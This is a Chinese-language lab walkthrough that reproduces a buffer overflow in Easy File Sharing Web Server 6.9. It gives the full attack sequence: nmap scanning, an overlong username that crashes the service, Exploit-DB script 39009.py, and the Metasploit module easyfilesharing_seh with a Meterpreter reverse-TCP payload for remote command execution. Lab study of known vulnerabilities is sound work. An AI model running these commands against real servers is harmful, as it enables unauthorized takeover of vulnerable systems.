Easy File Sharing Web Server 缓冲区溢出漏洞复现
Easy File Sharing Web Server 6.9 缓冲区溢出漏洞
漏洞介绍
由于Easy File Sharing Web Server 6.9这个程序对输入的用户名长度不进行校验,存在缓冲区溢出漏洞,导致当用户输入太长的用户名导致缓冲区溢出,覆盖程序原本的返回地址,导致程序因跳转到非法地址奔溃或跳转到黑客控制的恶意代码地址进而导致服务器被黑客控制。
复现环境
攻击机:Kali-Linux-2021.2-vmware-amd64 192.168.xxx.xxx
靶机:Win7 旗舰版 192.168.xxx.xxx
服务程序:Easy File Sharing Web Server 2018
服务端口: 80
过程
靶机准备工作
查看靶机的ip地址:
ipconfig |
在靶机上安装(一路默认)并且打开 Easy File Sharing Web Server 2018 程序
不购买,选择Try it!
注意到HTTP服务的端口是80端口
kali探测
打开kali终端,键入
nmap 目标靶机ip地址/24 |
发现目标靶机ip打开了80端口,开放了HTTP服务
在终端键入:
nmap -sV 目标靶机ip地址 |
可以发现目标靶机80端口的http服务版本是 Easy File Sharing Web Server httpd 6.9 ,这个版本存在缓冲区溢出漏洞
漏洞利用
接来我们在kali上打开浏览器输入:
目标靶机ip地址:80 (注意英文符号以及无空格) |
发现进入了 Easy File Sharing Web Server的登入页
当我们在Username中输入过长的用户名时,该服务程序会发生缓冲区溢出
经测试当输入5000个字符时,会发生该漏洞
这里我用python生成5000个“a“:
将这5000个字符输入到Username中,不用输入密码,点击登入
发现该网页无反应
打开靶机发现,该程序已崩溃,这是因为输入的字符覆盖了程序原本的返回地址,导致程序转入非法地址崩溃。
到这里这个漏洞就已经简单的复习成功了,但是想要进一步利用漏洞怎么办呢?
利用kali自带脚本攻击
在靶机上重启服务程序,我们在kali终端中键入:
searchsploit easy file sharing |
这一行命令的功能是 在kali自带的漏洞利用脚本库中寻找easy file sharing的漏洞利用脚本
这里我们选择的漏洞利用脚本是
虽然这个脚本是专门攻击Easy File Sharing Web Server httpd 7.2 版本的但是它对Easy File Sharing Web Server httpd 6.9版本同样有效,并且它的执行效果是让服务器弹计算机并崩溃
使用这个脚本的命令如下:
python /usr/share/exploitdb/exploits/windows/remote/39009.py 目标靶机ip地址 80 |
在终端中键入上述命令:
现在查看目标靶机,发现目标靶机已经弹计算器并且程序崩溃了
也可以尝试kali漏洞利用脚本库里的其他脚本进行攻击,这里就演示这一种,读者可以自行尝试。
利用metasploit进行漏洞利用
在kali终端键入
msfconsole |
进入msf控制台
键入
search EasyFileSharing |
找到EasyFileSharing漏洞的利用模块:
选择 2015年的这个利用模块,键入
use exploit/windows/http/easyfilesharing_seh |
然后msf会提示你:
No payload configured, defaulting to windows/meterpreter/reverse_tcp
即还没有进行配置
键入,
show options |
查看配置选项
发现目标ip地址还没被设置
键入,
set RHOSTS 目标靶机的ip地址 |
设置目标ip地址为测试靶机的ip地址
然后执行攻击模块,输入
exploit |
发现模块执行成功,然后你就可以执行任意你想要执行的命令